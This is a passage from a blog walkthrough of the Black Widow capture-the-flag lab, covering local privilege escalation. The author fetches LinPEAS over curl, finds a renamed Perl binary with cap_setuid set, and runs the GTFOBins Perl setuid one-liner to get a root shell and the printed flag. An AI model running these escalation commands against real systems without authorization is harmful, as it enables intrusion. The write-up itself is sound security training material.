Unfortunately, I got a " permission denied " error. This means I need to gain root access to obtain the root flag and complete our lab.


Privilege Escalation

During privilege escalation, the initial step involves gathering system information to pinpoint potential vulnerabilities or misconfigurations that could grant higher access privileges, ultimately leading to root access.

To begin, we need to examine the permissions assigned to users to assess their privileges on the system. This can be achieved by executing commands like " sudo -l " to view the commands the current user can run with elevated privileges.

viper@blackwidow:~$ sudo -l
sudo: unable to resolve host blackwidow: Temporary failure in name resolution
[sudo] password for viper: 
Sorry, user viper may not run sudo on blackwidow.                                                                                   
viper@blackwidow:~$

However, it appears that the user " viper " does not have permission to run sudo. 

Let's gather more details by checking the kernel version using the " uname -a " command, and searching for any associated exploits using searchsploit. 

viper@blackwidow:~$ uname -a
Linux blackwidow 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
viper@blackwidow:~$

Unfortunately, this search doesn't yield any results.

Upon further exploration, a suspicious directory named " backup-site " is discovered within the home directory. 


Enumerate the Linux Privilege using LinPEAS

To delve deeper into potential vulnerabilities, we'll employ LinPEAS, a powerful tool designed to extract various system information, including SUID binaries and vulnerabilities conducive to privilege escalation.

To get started, download LinPEAS from its GitHub repository. 

PEASS-ng: Latest Release

Check out the latest release of PEASS-ng, a set of scripts to perform privilege escalation on Windows and Linux systems. This release includes new features and improvements for better performance and usability.

Once you have LinPEAS, initiate a Python3 HTTP server.

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Switch back to the target server and use the wget command to download LinPEAS from the IP address of the machine running the Python3 HTTP server. 

If you are unsure about the IP address of your host-only adapter, you can use the “ ifconfig eth1 ” command to find it.

viper@blackwidow:~$ wget http://192.168.95.3:8000/linpeas.sh                                                                       
-bash: wget: command not found                                                                                                     
viper@blackwidow:~$

But upon running, I found out that, on the target system, wget is not available. So, to download the linpeas.sh file, I will use, the curl tool.

viper@blackwidow:~$ curl http://192.168.95.3:8000/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                                    
                                 Dload  Upload   Total   Spent    Left  Speed                                                      
100  842k  100  842k    0     0  35.7M      0 --:--:-- --:--:-- --:--:-- 37.4M                                                     
viper@blackwidow:~$

After successfully downloading LinPEAS on the target server, use the “ ls -al ” command to check if the file exists. 

viper@blackwidow:~$ ls -al                                                                                                         
total 880                                                                                                                          
drwxr-xr-x 4 viper viper   4096 May 22 16:35 .                                                                                     
drwxr-xr-x 3 root  root    4096 Dec 12  2020 ..                                                                                    
drwx------ 4 viper viper   4096 Dec 13  2020 backup_site                                                                           
-rw------- 1 viper viper   2031 May 22 16:31 .bash_history                                                                         
-rw-r--r-- 1 viper viper    220 Dec 12  2020 .bash_logout                                                                          
-rw-r--r-- 1 viper viper   3526 Dec 12  2020 .bashrc                                                                               
-rw-r--r-- 1 viper viper 862779 May 22 16:35 linpeas.sh                                                                            
drwxr-xr-x 3 viper viper   4096 Dec 13  2020 .local
-rw------- 1 viper viper     33 Dec 12  2020 local.txt
-rw-r--r-- 1 viper viper    807 Dec 12  2020 .profile
-rw------- 1 viper viper      0 Dec 24  2020 .Xauthority
viper@blackwidow:~$

Upon inspecting, I discovered that the linpeas.sh file does not have the necessary execution permissions.

To resolve this, give the execution permission to the linpeas.sh, file using the “ chmod +x linpeas.sh ” command. 

viper@blackwidow:~$ chmod +x linpeas.sh 
viper@blackwidow:~$

Once the execution permission is granted, run the linpeas.sh file. This time, it should execute without any issues.

viper@blackwidow:~$ ./linpeas.sh | tee linpeas.txt

After running “ linpeas.sh ”, the tool will generate output, providing comprehensive information, including SUID binaries , vulnerabilities, and other relevant data to aid in the privilege escalation process.

After reviewing the  LinPEAS output, I found that the suspicious directory contains a tool with permissions for executing at the root level. 

Files with capabilities (limited to 50):
/home/viper/backup_site/assets/vendor/weapon/arsenic = cap_setuid+ep
/home/viper/backup_site/assets/vendor/weapon/arsenic = cap_setuid+ep is writable
/usr/bin/perl =
/usr/bin/perl5.28.1 =
/usr/bin/ping = cap_net_raw+ep
/usr/lib/squid/pinger = cap_net_raw+ep

To exploit the arsenic binary for privilege escalation, we can utilize its cap_set uid+ep capability. This feature enables the binary to alter its user ID to any user, including root.

 

Uncover embedded information in binaries

For a better understanding, let's download it to Kali Linux using the SCP tool

SCP is renowned for its simplicity and seamless integration with SSH, facilitating secure file transfers across networks. 

Let's execute it. 

┌──(kali㉿kali)-[~]
└─$ scp [email protected]:/home/viper/backup_site/assets/vendor/weapon/arsenic arsenic
[email protected]'s password: 
arsenic                                                                                           100% 3127KB  48.2MB/s   00:00    
                                                                                                                                    
┌──(kali㉿kali)-[~]
└─$

Upon execution, the file will be automatically downloaded. Now, let's examine the readable strings using the strings command.

┌──(kali㉿kali)-[~]
└─$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  arsenic   auth.log
                                                                                                                                    
┌──(kali㉿kali)-[~]
└─$ strings arsenic 

The strings command extracts readable text from binary files like executables, object files, and core dumps. It scans the file for sequences of printable characters and displays them. This tool is commonly used in reverse engineering and security analysis to uncover embedded information in binaries.

In the strings output, I found a reference to Perl. Finding the reference to perl within the arsenic binary, which could potentially be significant for privilege escalation. This suggests that the binary might invoke Perl scripts or use Perl in some capacity.

To understand how the tool works, I'll run it with the help option. 

viper@blackwidow:~$ /home/viper/backup_site/assets/vendor/weapon/arsenic --help
                                                                                                                                   
Usage: /home/viper/backup_site/assets/vendor/weapon/arsenic [switches] [--] [programfile] [arguments]                              
  -0[octal]         specify record separator (\0, if no argument)                                                                  
  -a                autosplit mode with -n or -p (splits $_ into @F)                                                               
  -C[number/list]   enables the listed Unicode features                                                                            
  -c                check syntax only (runs BEGIN and CHECK blocks)                                                                
  -d[:debugger]     run program under debugger                                                                                     
  -D[number/list]   set debugging flags (argument is a bit mask or alphabets)                                                      
  -e program        one line of program (several -e's allowed, omit programfile)                                                   
  -E program        like -e, but enables all optional features                                                                     
  -f                don't do $sitelib/sitecustomize.pl at startup                                                                  
  -F/pattern/       split() pattern for -a switch (//'s are optional)                                                              
  -i[extension]     edit <> files in place (makes backup if extension supplied)                                                    
  -Idirectory       specify @INC/#include directory (several -I's allowed)                                                         
  -l[octal]         enable line ending processing, specifies line terminator                                                       
  -[mM][-]module    execute "use/no module..." before executing program                                                            
  -n                assume "while (<>) { ... }" loop around program                                                                
  -p                assume loop like -n but print line also, like sed                                                              
  -s                enable rudimentary parsing for switches after programfile                                                      
  -S                look for programfile using PATH environment variable                                                           
  -t                enable tainting warnings                                                                                       
  -T                enable tainting checks
  -u                dump core after parsing program
  -U                allow unsafe operations
  -v                print version, patchlevel and license
  -V[:variable]     print configuration summary (or a single Config.pm variable)
  -w                enable many useful warnings
  -W                enable all warnings
  -x[directory]     ignore text before #!perl line (optionally cd to directory)
  -X                disable all warnings
  
Run 'perldoc perl' for more help with Perl.

viper@blackwidow:~$

In the help menu, I noticed the -e flag, which can compile a program. Since arsenic is built with Perl, there's a possibility of compiling a Perl program.

Visit this website, where you will find out various shell codes to gain root. 

GTFOBins: Perl

Explore GTFOBins, a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. This page focuses on using Perl for privilege escalation and other security bypass techniques.


But here, I am looking for capabilities.

Capabilities

If the binary has the LinuxCAP_SETUID   capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

  • cp $(which perl) .
    sudo setcap cap_setuid+ep perl
    
    ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    
  • 
    
    

After copying the code, I'll paste it after the arsenic binary. 

viper@blackwidow:~$ /home/vip`````er/backup_site/assets/vendor/weapon/arsenic -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'                                                                                                                                 
whoami                                                                                                                           
root                                                                                                                                
#                                                                                                                      

Upon execution, it provides a root shell. Now, let's navigate to the root directory to obtain the root flag. 

# cd /root                                                                                                                         
# ls -al                                                                                                                           
total 28                                                                                                                           
drwx------  3 root root 4096 Dec 13  2020 .                                                                                        
drwxr-xr-x 18 root root 4096 Dec 11  2020 ..                                                                                       
lrwxrwxrwx  1 root root    9 Dec 12  2020 .bash_history -> /dev/null                                                               
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc                                                                                  
drwxr-xr-x  3 root root 4096 Dec 12  2020 .local                                                                                   
-rw-r--r--  1 root root  148 Aug 17  2015 .profile                                                                                 
-rw-------  1 root root   14 Dec 13  2020 .python_history                                                                          
-rw-------  1 root root  859 Dec 13  2020 root.txt                                                                                 
# cat root.txt                                                                                                                     
                                                                                                                                   
                                                                                                                                   
▄▄▄▄· ▄▄▌   ▄▄▄·  ▄▄· ▄ •▄     ▄▄▌ ▐ ▄▌▪  ·▄▄▄▄        ▄▄▌ ▐ ▄▌
▐█ ▀█▪██•  ▐█ ▀█ ▐█ ▌▪█▌▄▌▪    ██· █▌▐███ ██▪ ██ ▪     ██· █▌▐█
▐█▀▀█▄██▪  ▄█▀▀█ ██ ▄▄▐▀▀▄·    ██▪▐█▐▐▌▐█·▐█· ▐█▌ ▄█▀▄ ██▪▐█▐▐▌
██▄▪▐█▐█▌▐▌▐█ ▪▐▌▐███▌▐█.█▌    ▐█▌██▐█▌▐█▌██. ██ ▐█▌.▐▌▐█▌██▐█▌
·▀▀▀▀ .▀▀▀  ▀  ▀ ·▀▀▀ ·▀  ▀     ▀▀▀▀ ▀▪▀▀▀▀▀▀▀▀•  ▀█▄▀▪ ▀▀▀▀ ▀▪


Congrats!

You've rooted Black Widow!

0xJin - mindsflee

0780eb289a44ba17ea499ffa6322b335


That concludes this tutorial. If you have any questions or concerns regarding this video, feel free to leave a comment below.

Tags

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!